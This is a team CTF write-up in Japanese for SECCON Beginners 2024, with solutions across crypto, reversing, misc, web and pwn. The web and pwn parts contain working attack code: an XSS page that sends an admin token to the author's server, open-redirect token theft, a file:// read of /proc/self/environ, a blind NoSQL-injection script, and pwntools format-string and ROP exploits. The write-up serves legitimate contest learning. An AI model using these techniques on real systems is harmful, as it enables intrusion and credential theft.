# SECCON Beginners 2024 writeup ## OvewView team NITKCで出場し、1416ptで28th/962teamsでした。 ![image](https://hackmd.io/_uploads/rJDbMghrR.png) [toc] ## crypto (by chizuchizu) ### Safe Prime $p$と$q$と$n$の関係を上手くほどいてやると解ける。 $$n=pq=p(2p+1)=2p^2+p$$ $$p = \frac{-1+\sqrt{1+4\cdot 2 \cdot n}}{2}$$ Pythonで`math`や1/2乗で平方根を取ろうとするとfloatに変換されてしまうことを知らなくて詰まった。 `decimal`ライブラリを使うことで大きな桁でも精度保証をして平方根が取れる。`gmpy2`でも良い。 `ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}` ### math これも$p$や$q$に関係する$a$と$b$が特別な数なのでゴニョゴニョ紙に書いて解いた。 $$a=p-x, \ b=q-x$$ ちなみに$ab$は平方数で、$a$と$b$はそれぞれ大きな素数で割れることが知られていたので、次のようにしてaとbの候補を絞った。 ```python ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289 prime1 = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 prime2 = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 print(ab // prime1// prime1 // prime2 // prime2) # 1002777341573073149099549678043369 ``` 出力された数をfactordbに投げたところ、4つの素数が出てきたので、$a$、$b$の可能性はこの時点で$2^4-2=14$個に絞られた。 `(31666659779223213<17>)^2 = (3 · 173 · 199 · 306606827773<12>)^2` $a$と$b$はこれらの素数の積の2乗と与えられた素数の2乗の積で表される。 それぞれの$a$と$b$の組合せに対して$p$と$q$の積が$n$になるかを検証した。 $$ ab = (p-x)(q-x) = pq - x(p+q) + x^2 = x(a+b) + x^2$$ より$x$が求まる。 $$x=\frac{-a-b+\sqrt{(a+b)^2+4(n-ab)}}{2}$$ ```python import gmpy2 from functools import reduce from Crypto.Util.number import getPrime, isPrime, long_to_bytes, bytes_to_long import operator import itertools prime1 = # 与えられた0 mod aの素数 prime2 = # 与えられた0 mod bの素数 ab = # ab n = # n lst = [3, 173, 199, 306606827773] bit_combinations = list(itertools.product([0, 1], repeat=len(lst))) for bits in bit_combinations: combination1 = [lst[i] for i in range(len(lst)) if bits[i] == 1] combination2 = [lst[i] for i in range(len(lst)) if bits[i] == 0] if len(combination1) == 0: continue if len(combination2) == 0: continue tmp = reduce(operator.mul, combination1, 1) a = tmp ** 2 * prime1 ** 2 tmp = reduce(operator.mul, combination2, 1) b = tmp ** 2 * prime2 ** 2 assert a * b == ab tmp = -a - b + gmpy2.isqrt((a + b) ** 2 + 4 * (n - ab)) tmp //= 2 x = tmp p = a + x q = b + x if p * q == n: print("="*20) print(f"{p=}") print(f"{q=}") ``` 合致した$p$と$q$が見つかったので復号する。 ```python p = 7878824508023825320620552438859131751341011236435661361507465408511567856339128586549369157062948927445512194472763840898824746924636029850659802261912150719575815528250042476759316872507696855084778513881881419453874766724167271062172560745165185117184785529887592443232472500519042763719576401549059555549 q = 3597993939706753790208197378148848949822043309769682578959924290719006420996423496659961817582141773260972861724771414278651046463502978594910794197098988322222621708534481711002211659109357402539392364289580131703038942827590851390068976436194200123404980430263753899372174547820641396504020048511503939261 phi = (p - 1) * (q - 1) e = 65537 d = pow(e, -1, phi) decrypted_m = pow(cipher, d, n) decrypted_FLAG = long_to_bytes(decrypted_m) print(f"{decrypted_FLAG.decode('UTF-8')}") ``` `ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?} ` ## reversing (by chizuchizu) ### assemble push mov syscallだけでプログラミングしなさいという課題だった。 とても勉強になったので良い経験だった。こういうエミュレータを手元に置きたい。 challenge 1 ```nasm mov rax, 0x123 ``` challenge 2 ```nasm mov rax, 0x123 push 0x123 ``` challenge 3 chatgptに聞きながら引数を埋めた。 ```nasm mov rax,0x6f6c6c6548 push rax mov rax,1 mov rdi,1 mov rsi,rsp mov rdx,5 syscall ``` challenge 4 sys_open -> sys_read -> sys_write ```nasm mov rax, 0x7478742e67616c66 push 0x0 push rax mov rdi, rsp mov rax, 2 mov rsi, 0 syscall mov rdi,rax mov rax,0 mov rsi,rsp mov rdx,256 syscall mov rdx,rax mov rsi,rsp mov rax,1 mov rdi,1 syscall ``` デバッグはsyscall実行直後の`eax`の値で確認できた。 ファイルディスクリプタを作成に手間取った。おそらく、ヌル文字がないことによって`flag.txt`に謎の文字が追加されて失敗してるのだと考えて`push 0x00`を追加し、パスの直後にヌル文字が来るようにしたところ、成功した。 `ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}` ### cha-ll-enge llvmのコードを読むチャレンジ。ナイーブにコンパイルしようとしても、依存してるライブラリのコードが無くて怒られるので読むしかない。 素晴らしい記事で記法を学びながら、読み進めてPythonに書き起こした。 [こわくないLLVM入門! #LLVM - Qiita](https://qiita.com/Anko_9801/items/df4475fecbddd0d91ccc) [LLVMを始めよう! 〜 LLVM IRの基礎はclangが教えてくれた・Brainf**kコンパイラを作ってみよう 〜 - プログラムモグモグ](https://itchyny.hatenablog.com/entry/2017/02/27/100000) ```python key = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7] flag = [] for i in range(len(key) - 1): key1 = key[i] key2 = key[i+1] flag.append(chr(key1 ^ key2)) print(''.join(flag)) ``` `ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}` ## misc ### getRank (by NXVZBGBFBEN) エクストリーム数当てゲームで1位をとればいい. サーバ側で順位を返す関数はこんな感じ: ```ts= function ranking(score: number): Res { const getRank = (score: number) => { const rank = RANKING.findIndex((r) => score > r); return rank === -1 ? RANKING.length + 1 : rank + 1; }; const rank = getRank(score); if (rank === 1) { return { rank, message: process.env.FLAG || "fake{fake_flag}", }; } else { return { rank, message: `You got rank ${rank}!`, }; } } function chall(input: string): Res { if (input.length > 300) { return { rank: -1, message: "Input too long", }; } let score = parseInt(input); if (isNaN(score)) { return { rank: -1, message: "Invalid score", }; } if (score > 10 ** 255) { // hmm...your score is too big? // you need a handicap! for (let i = 0; i < 100; i++) { score = Math.floor(score / 10); } } return ranking(score); } ``` とりあえず300文字以内でクソデカ数を送ればよさそう. [``parseInt()``](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/parseInt)で送った文字列が評価されるので,``"0xff(以下略"``を300文字に収めて送りつける. ``<script>``タグ内にあった``getRank()``をいい感じに改造してリクエストを投げる: ![image](https://hackmd.io/_uploads/r1qhYX2BR.png) ### commentator (by NXVZBGBFBEN) 一行ずつPythonのコードを入力すると,それがサーバで実行される. ``` > nc commentator.beginners.seccon.games 4444 _ _ __ ___ ___ _ __ ___ _ __ ___ ___ _ __ | |_ __ _| |_ ___ _ __ _ \ \ / __/ _ \| '_ ` _ \| '_ ` _ \ / _ \ '_ \| __/ _` | __/ _ \| '__| (_) | | | (_| (_) | | | | | | | | | | | __/ | | | || (_| | || (_) | | _ | | \___\___/|_| |_| |_|_| |_| |_|\___|_| |_|\__\__,_|\__\___/|_| (_) | | /_/ --------------------------------------------------------------------------- Enter your Python code (ends with __EOF__) >>> ``` サーバ側での入力受付処理はこんな感じ: ```py= python = "" while True: line = input(">>> ").replace("\r", "") if "__EOF__" in line: python += 'print("thx :)")' break python += f"# {line}\n" # comment :) ``` こういう入力をしても ``` >>> print("hello")\nprint("moin") >>> __EOF__ ``` サーバ上ではこんなファイルになってしまう. ```py= # print("hello")\nprint("moin") print("thx :)") ``` なんとかしてコメントアウトを回避するために,[エンコード宣言](https://docs.python.org/ja/3/reference/lexical_analysis.html#encoding-declarations)を使って[テキストエンコーディング](https://docs.python.org/ja/3/library/codecs.html#text-encodings)を``raw_unicode_escape``に変更し,処理系が``"\u000a"``を改行として解釈できるようにする. ``` >>> coding: raw_unicode_escape >>> \u000aimport os >>> \u000aos.system("cat /flag-437541b5d9499db505f005890ed38f0e.txt") >>> __EOF__ ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}thx :) ``` ### clamre ```python= import re ldb_content = "ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\\x63\\x74\\x66)(4)(\\x62)(\\{B)(\\x72)(\\x33)\\3(\\x6b1)(\\x6e\\x67)(\\x5f)\\3(\\x6c)\\11\\10(\\x54\\x68)\\7\\10(\\x480)(\\x75)(5)\\7\\10(\\x52)\\14\\11\\7(5)\\})$/" pattern = re.search(r'/\^(.+)\$/', ldb_content).group(1) decoded_pattern = re.sub(r'\\x([0-9a-fA-F]{2})', lambda m: chr(int(m.group(1), 16)), pattern) readable_pattern = decoded_pattern.replace('(', '').replace(')', '') print(readable_pattern) ``` ```bash= $python3 solve.py ctf4b\{Br3\3k1ng_\3l\11\10Th\7\10H0u5\7\10R\14\11\75\} ``` ctf4b{Br34king_4ll_Th3_H0u53_Rul35} ## web (by Naotiki) ### wooorker #### ページ * GET `/` * `?token=<token>`をつけてアクセスするとフラグがもらえる * Adminのアカウントじゃないといけない * GET `/login?next=<url>` * username, pwを入力してボタン押すと `/login`にPOST * 成功すると`<url>?token=<token>に飛ぶ * POST `/login` * bodyにusername,passwordを入れるとtokenかerrorが返ってくる * GET `/report` * 脆弱な脆弱性報告フォーム * パスを送りつけるとそこにアクセスし**adminアカウント**でログインを試みる * > 例えば、login?next=/を送信するとadminがhttps://wooorker.beginners.seccon.games/login?next=/にアクセスし、ログインを行います。 この問題は`/report`からadmin権限を持ったBotを自分のサイトに誘導することで、tokenを窃取できる #### サーバー側コード もちろんKotlinで書く。Ktorを使用した ```kotlin fun Application.configureRouting() { install(Resources) routing { get("/") { println(call.parameters) call.respondText("Hello World!") } } } ``` あとはngrokとかでURL取得して `/report`に`login?next=https://xxx.ngrok-free.app/` を入れ自分のサーバーに誘導する ``` Matched routes: "" -> "<slash>" -> "(method:GET)" Route resolve result: SUCCESS @ /(method:GET) Parameters [token=[eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NTE3OTM0LCJleHAiOjE3MTg1MjE1MzR9.MuV9BOTC6g5G7BfXC_PteGMxTZkKKO7Agh24B2vMRyk]] 2024-06-16 15:05:37.119 [eventLoopGroupProxy-4-3] TRACE i.k.s.p.c.ContentNegotiation - Skipping because body is already converted. 2024-06-16 15:05:37.119 [eventLoopGroupProxy-4-3] INFO ktor.application - 200 OK: GET - / in 0ms ``` token:`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NTE3OTM0LCJleHAiOjE3MTg1MjE1MzR9.MuV9BOTC6g5G7BfXC_PteGMxTZkKKO7Agh24B2vMRyk` あとは`/?token=`にくっつければ ![image](https://hackmd.io/_uploads/r13Z-Z3rA.png) `ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}` ### wooorker2 wooorkerとほぼ一緒 違いはクエリパラメーターにTokenがつくのではなく、ハッシュパラメーターにTokenがつくようになった。 そのためサーバーから直接Tokenを読み取ることはできない。 しかしJavaScriptからは読み取れるので、 自分のサイトへ誘導→HTML内のJS実行→ハッシュパラメーター取得→自分のAPI叩く→窃取成功! という流れでいける #### サーバー側コード ```kotlin fun Application.configureRouting() { install(Resources) routing { get("/") { println(this.call.parameters) call.respondText("Hello World!") } post("/api/w2") { println(this.call.receiveText()) call.respondText("Hello World!") } // Static plugin. Try to access `/static/index.html` static("/static") { resources("static") } } } ``` #### 配信するHTML (/resource/static内に置く) ```html <html> <head> </head> <body> <script> const token= location.hash fetch(location.origin+"/api/w2",{ method:"POST", body:JSON.stringify(token) }) </script> <h1>Hello Ktor!</h1> </body> </html> ``` ngrokとかでURL取得して `/report`に`login?next=https://xxx.ngrok-free.app/static/index.html` を入れ自分のサーバーに誘導する ``` Matched routes: "" -> "api" -> "w2" -> "(method:POST)" Route resolve result: SUCCESS @ /api/w2/(method:POST) 2024-06-16 15:20:31.051 [eventLoopGroupProxy-4-2] TRACE i.k.server.engine.DefaultTransform - No Default Transformations found for class io.ktor.utils.io.ByteBufferChannel and expected type TypeInfo(type=class io.ktor.utils.io.ByteReadChannel, reifiedType=interface io.ktor.utils.io.ByteReadChannel, kotlinType=io.ktor.utils.io.ByteReadChannel) for call /api/w2 2024-06-16 15:20:31.051 [eventLoopGroupProxy-4-2] TRACE i.k.s.p.c.ContentNegotiation - Skipping for request type class io.ktor.utils.io.ByteReadChannel because the type is ignored. "#token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NTE4ODMyLCJleHAiOjE3MTg1MjI0MzJ9.I-apSUXl9au0sbFQcxj_bVKJRc3nQ5M0jmF5bvDS2pg" 2024-06-16 15:20:31.051 [eventLoopGroupProxy-4-2] TRACE i.k.s.p.c.ContentNegotiation - Skipping because body is already converted. 2024-06-16 15:20:31.051 [eventLoopGroupProxy-4-2] INFO ktor.application - 200 OK: POST - /api/w2 in 1ms ``` token:`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NTE4ODMyLCJleHAiOjE3MTg1MjI0MzJ9.I-apSUXl9au0sbFQcxj_bVKJRc3nQ5M0jmF5bvDS2pg` あとは`/#token=`にくっつければ ![image](https://hackmd.io/_uploads/H1E2Nb2B0.png) `ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}` ### ssrforlfi `/?url=<url>`にアクセスするとサーバーが`<url>`にcurlでアクセスし、それをWebページにそのまま表示する フラグは.envを見ると環境変数`flag`にセットされていることがわかる 最終的に環境変数を見れれば良さそう ```python if not url: return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>" # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, | if not re.match('^[a-z"()./:;<>@|]*$', url): return "Invalid URL ;(" # SSRF & LFI protection if url.startswith("http://") or url.startswith("https://"): if "localhost" in url: return "Detected SSRF ;(" elif url.startswith("file://"): path = url[7:] if os.path.exists(path) or ".." in path: return "Detected LFI ;(" else: # Block other schemes return "Invalid Scheme ;(" try: # RCE ? proc = subprocess.run( f"curl '{url}'", capture_output=True, shell=True, text=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout ;(" ``` コードを見るとlocalhostへのhttp(s)、存在するファイルへの`file://`によるアクセスは禁止されている。 しかし、curlでのみ使える`file://`の記法を使えば解けそう ググってみると [curl/curl/issues/1187](https://github.com/curl/curl/issues/1187) に`file://127.0.0.1/c:\windows`という記述があった!これや!!! 数字はregexで弾かれてしまうのでlocalhostに変えればいけそう とりあえず、`/?url=file://localhost/etc/passwd` ![image](https://hackmd.io/_uploads/BkQHiWhB0.png) 環境変数は`/proc/self/envieron`にあるので `/?url=file://localhost/proc/self/environ` ![image](https://hackmd.io/_uploads/S1fAiWhrC.png) `ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}` ### double-leaks ユーザーネームとパスワードを入れるとフラグがゲットできるサイト usernameもpassword_hashもそのまま`collection.find_one()`に入っているためMongoDBのクエリがそのまま使える。 `{$ne:""}`を渡せばいけると思いきや、 ```python if user["username"] != username or user["password_hash"] != password_hash: return jsonify({"message": "DO NOT CHEATING"}), 401 ``` これにより防がれてしまう。 しかし、クエリの結果があれば`DO NOT CHEATING`なければ`Invalid Credential`が返ってくるので、ブラインドNoSQLインジェクションができそう しかし`$regex`はWAFによりブロックされる ```python def waf(input_str): # DO NOT SEND STRANGE INPUTS! :rage: blacklist = [ "/", ".", "*", "=", "+", "-", "?", ";", "&", "\\", "=", " ^", "(", ")", "[", "]", "in", "where", "regex", ] return any([word in str(input_str) for word in blacklist]) ``` しかし、`$lt`で文字列の大小比較ができるので二分探索ができる。 ```kotlin package me.naotiki import com.squareup.okhttp.MediaType import com.squareup.okhttp.OkHttpClient import com.squareup.okhttp.Request import com.squareup.okhttp.RequestBody private const val endpoint = "http://double-leaks.beginners.seccon.games/login"//"http://localhost:41413/login" val ok = OkHttpClient() val userChars = (' '..'~').toList() val hashChars = ('0'..'9') + ('a'..'f') val userName = "\"ky0muky0mupur1n\"" private fun main() { /*search(userChars){ request(it, ne) }*/ search(hashChars){ request(userName, it) } } fun search(list: List<Char>, value: String = "",requester:(String)->Boolean): String { var range = list val result: Char while (true) { println(range) val midIndex=range.lastIndex.ushr(1) val mid = range[midIndex] if (range.size == 2) { val res = requester(op("lt", value + range[1]))//request(op("lt", value + range[1]), ne) println("${value+ range[1]}->$res") result = if (res) range[0] else range[1] break } val res = requester(op("lt", value + mid)) println("${value+mid}->$res") if (res) { range = range.subList(0,midIndex) } else { range = range.subList(midIndex, range.size) } if (range.size==1){ result = range.single() break } } return search(list, value + result,requester) } fun request(user: String, pass: String): Boolean { val content=""" { "username":$user, "password_hash": $pass } """.trimIndent() val req = Request.Builder().url(endpoint).post( RequestBody.create( MediaType.parse("application/json; charset=utf-8"), content ) ).build() val res = ok.newCall(req).execute() val body=res.body().string() println("""${content.replace("\n", " ")}->$body""") Thread.sleep(100) return body.contains("DO NOT CHEATING") } val ne = op("ne", "") private fun op(opName: String, value: String): String { return """ { "${'$'}${opName}":"$value" } """.trimIndent() } ``` 結構雑だが一応動く ↓user ``` [ , !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, :, ;, <, =, >, ?, @, A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, [, \, ], ^, _, `, a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, {, |, }, ~] { "username":{ "$lt":"ky0muky0mupur1O" }, "password_hash": { "$ne":"" } }->{"message":"Invalid Credential"} ky0muky0mupur1O->false [O, P, Q, R, S, T, U, V, W, X, Y, Z, [, \, ], ^, _, `, a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, {, |, }, ~] { "username":{ "$lt":"ky0muky0mupur1f" }, "password_hash": { "$ne":"" } }->{"message":"Invalid Credential"} ky0muky0mupur1f->false [f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, {, |, }, ~] { "username":{ "$lt":"ky0muky0mupur1r" }, "password_hash": { "$ne":"" } }->{"message":"DO NOT CHEATING"} ky0muky0mupur1r->true [f, g, h, i, j, k, l, m, n, o, p, q] { "username":{ "$lt":"ky0muky0mupur1k" }, "password_hash": { "$ne":"" } }->{"message":"Invalid Credential"} ky0muky0mupur1k->false [k, l, m, n, o, p, q] { "username":{ "$lt":"ky0muky0mupur1n" }, "password_hash": { "$ne":"" } }->{"message":"Invalid Credential"} ky0muky0mupur1n->false [n, o, p, q] { "username":{ "$lt":"ky0muky0mupur1o" }, "password_hash": { "$ne":"" } }->{"message":"DO NOT CHEATING"} ky0muky0mupur1o->true [ , !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, :, ;, <, =, >, ?, @, A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, [, \, ], ^, _, `, a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z, {, |, }, ~] { "username":{ "$lt":"ky0muky0mupur1nO" }, "password_hash": { "$ne":"" } }->{"message":"DO NOT CHEATING"} ``` ↓hash ``` [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f] { "username":"ky0muky0mupur1n", "password_hash": { "$lt":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff317" } }->{"message":"Invalid Credential"} d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff317->false [7, 8, 9, a, b, c, d, e, f] { "username":"ky0muky0mupur1n", "password_hash": { "$lt":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31b" } }->{"message":"DO NOT CHEATING"} d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31b->true [7, 8, 9, a] { "username":"ky0muky0mupur1n", "password_hash": { "$lt":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff318" } }->{"message":"Invalid Credential"} d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff318->false [8, 9, a] { "username":"ky0muky0mupur1n", "password_hash": { "$lt":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff319" } }->{"message":"Invalid Credential"} d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff319->false [9, a] { "username":"ky0muky0mupur1n", "password_hash": { "$lt":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a" } }->{"message":"Invalid Credential"} d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a->false ``` <blockquote class="twitter-tweet"><p lang="ja" dir="ltr">レートリミッターを10req/secを1req/10secと読み間違えて圧倒的効率の悪さで二分探索していた<br>アホすぎる</p>&mdash; なおちき (@Naotiki13) <a href="https://twitter.com/Naotiki13/status/1802239455488774423?ref_src=twsrc%5Etfw">June 16, 2024</a></blockquote> ↑余談ですが、すっごいミスをしました・・・ Thread.sleep(10000)にしていた・・・ 結果として username: `ky0muky0mupur1n` (虚無虚無プリン) password_hash: `d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a` であることがわかる あとは`/login`にポストすればOK ```http POST http://double-leaks.beginners.seccon.games/login Content-Type: application/json { "username": "ky0muky0mupur1n", "password_hash": "d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a" } ``` ```http POST http://double-leaks.beginners.seccon.games/login HTTP/1.1 200 OK Server: nginx/1.27.0 Date: Sun, 16 Jun 2024 07:36:49 GMT Content-Type: application/json Content-Length: 101 Connection: keep-alive { "message": "Login successful! Congrats! Here is the flag: ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}" } ``` `ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}` ### flagAlias evalでJavaScriptを実行するサイト コード flag.ts に\*\*REDACTED\*\*とある関数があるのでこの内容を読み取るのがゴールのようだ 変数`flag`内に flag.ts の内容がインポートされているのでこれを読めば良さそう。 しかし、wafのせいで攻撃は大変そう ```javascript function waf(key: string) { // Wonderful WAF :) const ngWords = [ "eval", "Object", "proto", "require", "Deno", "flag", "ctf4b", "http", ]; for (const word of ngWords) { if (key.includes(word)) { return "'NG word detected'"; } } return key; } ``` wafを無効化してしまおう ``` `real ${waf=(s)=>s}` ``` ```json [ [ "wonderful flag", "fake{wonderful_fake_flag}" ], [ "special flag", "fake{special_fake_flag}" ], [ "real (s)=>s", "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}" ] ] ``` 次に関数名も\*\*REDACTED\*\*されているため Object.keys()を使って探す。 ``` `real ${Object.keys(flag)}` ``` ```json [ [ "wonderful flag", "fake{wonderful_fake_flag}" ], [ "special flag", "fake{special_fake_flag}" ], [ "real getFakeFlag,getRealFlag_yUC2BwCtXEkg", "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}" ] ] ``` 関数名が得られるので実行してみる ``` `real ${flag.getRealFlag_yUC2BwCtXEkg()}` ``` ```json [ [ "wonderful flag", "fake{wonderful_fake_flag}" ], [ "special flag", "fake{special_fake_flag}" ], [ "real fake{The flag is commented one line above here!}", "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}" ] ] ``` どうやら本当のフラグはコメント内にあるらしい 関数の内容(コメント含む)は`toString()`で得られる ``` `real ${flag.getRealFlag_yUC2BwCtXEkg.toString()}` ``` ```json [ [ "wonderful flag", "fake{wonderful_fake_flag}" ], [ "special flag", "fake{special_fake_flag}" ], [ "real function getRealFlag_yUC2BwCtXEkg() {\n // Great! You found the flag!\n // ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}\n return \"fake{The flag is commented one line above here!}\";\n}", "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}" ] ] ``` `ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}` ## pwn (by k0080) ### sinple overflow ```bash= $./chall name:aaaaaaaaaaaaaaaa Hello, aaaaaaaaaaaaaaaa flag{AAA} ``` ### simple overwrite ```python= from pwn import * e = ELF("chall") p = remote("simpleoverwrite.beginners.seccon.games", 9001) p.sendline(b"A"*18+p64(e.sym['win'])) print(p.recvall()) ``` ### pure-and-easy 2nd,String format vulnでGOTのexitアドレスをwinに書き換え ```python= from pwn import * e = ELF("chall") #p = e.process() p = remote("pure-and-easy.beginners.seccon.games" ,9000) context.clear(arch = 'amd64') payload = fmtstr_payload(6, {e.got['exit'] : e.sym['win']}) p.sendline(payload) print(p.recvall()) ``` ### gachi-rop <details><summary>途中経過</summary> 1ガジェでなくオープンリード出力しなくては行けない問題だった ```python= from pwn import * e = ELF("gachi-rop",checksec=False) libc = ELF("libc.so.6",checksec=False) p = e.process() #p = remote("gachi-rop.beginners.seccon.games",4567) offset = 16 print(p.recvuntil(b"@").decode()) addr = int(p.recvuntil(b"\n")[:-1].decode(),16) libcBase = addr - libc.sym['system'] libc.address = libcBase EXIT = libc.sym['exit'] print("SYSTEM :::: ",hex(addr)) print("LIBC BASE : ",hex(libcBase)) print("EXIT :::: ",hex(EXIT)) BINSH = next(libc.search(b"/bin/sh\x00")) print("BINSH :::: ",hex(BINSH)) # 0x000000000002a3e5 : pop rdi ; ret POPRDI = 0x000000000002a3e5 + libcBase RET = p64(0x000000000040101a) #ropLoaded = ROP(libc) #POPRDI = (ropLoaded.find_gadget(['pop rdi','ret']))[0] #POPRDI = next(libc.search(asm('pop rdi; ret'))) print("POP RDI ::: ",hex(POPRDI)) #print("MY POP RDI: ",hex(POPRDI2)) rop1 = b"A"*offset + b"B"*8 rop2 = RET + p64(POPRDI) + p64(BINSH) + p64(addr) + p64(EXIT) #rop2 = RET + p64(addr) + p64(EXIT) + p64(BINSH) payload = rop1 + rop2 p.sendline(payload) p.interactive() ``` </details> ## welcome ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}